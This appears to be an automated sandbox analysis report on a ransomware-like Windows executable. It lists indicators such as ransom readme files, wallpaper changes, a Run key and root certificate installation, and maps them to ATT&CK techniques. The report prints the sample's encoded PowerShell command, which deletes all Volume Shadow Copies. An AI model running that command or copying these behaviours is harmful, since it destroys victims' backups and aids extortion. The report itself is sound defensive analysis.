3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\X: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\B: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\H: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\L: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\U: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\E: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\I: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\M: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\N: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aon855.bmp" 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe -
Drops file in Program Files directory 22 IoCs
description ioc Process File opened for modification \??\c:\program files\PushJoin.jfif 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\RequestRegister.rtf 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\SwitchOpen.ADT 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\TestBackup.mpv2 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\WriteDisable.avi 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File created \??\c:\program files (x86)\0q611h83c-readme.txt 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\ExportComplete.sql 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\ProtectInitialize.xml 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\ProtectSwitch.vsw 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\RemovePing.gif 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\RenameOpen.crw 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\0q611h83c-readme.txt 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File created \??\c:\program files\0q611h83c-readme.txt 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\RegisterResume.vsx 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\SelectInstall.vssx 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\StepClose.pdf 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\ConvertToMeasure.svg 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\ImportRead.m4a 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\OpenSave.rtf 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened for modification \??\c:\program files\RevokePop.mpp 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\0q611h83c-readme.txt 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\0q611h83c-readme.txt 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2184 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe 2132 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2184 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe Token: SeDebugPrivilege 2132 powershell.exe Token: SeBackupPrivilege 2804 vssvc.exe Token: SeRestorePrivilege 2804 vssvc.exe Token: SeAuditPrivilege 2804 vssvc.exe Token: SeTakeOwnershipPrivilege 2184 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2184 wrote to memory of 2132 2184 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe 28 PID 2184 wrote to memory of 2132 2184 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe 28 PID 2184 wrote to memory of 2132 2184 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe 28 PID 2184 wrote to memory of 2132 2184 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe 28 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe"C:\Users\Admin\AppData\Local\Temp\3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2132
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2632
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
3Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6KB
MD5b54687ef9e19f431decd98e339444928
SHA15315a0e634bff8af5fd9d403c21ee423fed022e2
SHA2561dc55b9db6c08cf8ac7e2e72144d1db49e3ebe63b5852a1bb91db79ad8054dfb
SHA5129fe45fb44e4f73e8eac165773f17ef3f84dec7f912f5976c5c0034af843bbb8b672050c80d27f4b13ee493a0a5537d005385ab74e1a4dd43ff88e83608d5e2fb
-
Filesize
67KB
MD5753df6889fd7410a2e9fe333da83a429
SHA13c425f16e8267186061dd48ac1c77c122962456e
SHA256b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA5129d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
132KB
MD5443b694fb09f9513f53726dd51f257d4
SHA1788aaff13e2595adaa1052b1512ad00da480e88a
SHA2567565512ebecd6ec0b942d6f72903e8fdecaeb3056e4a6cd777d8241e74209937
SHA5120db2a56119a3e04ae628ea24c4229b62a5529fe6a35cc7e77f39420fee774c01290fe7ccf35fa030aaa29da52ee3c21402241ad5d5a87fbd22dad1d2456d21b7
-
Filesize
192KB
MD589498979134599a071b38cd1e93085f8
SHA18f5aff2c308a4298aba328f83280dbd87e86c578
SHA25687a3ac9280ee92196fcb5ffdbe67101f15def216b33973af07dbe84cbda49d6c
SHA5120f4a827875d4111f6ca0bc683d22d9429882073c5827eeddfbde9485fe4a99b7a25cdd8147a4d1f9e2595801641c9b2a47c12319a0345e035f8924bad21030e7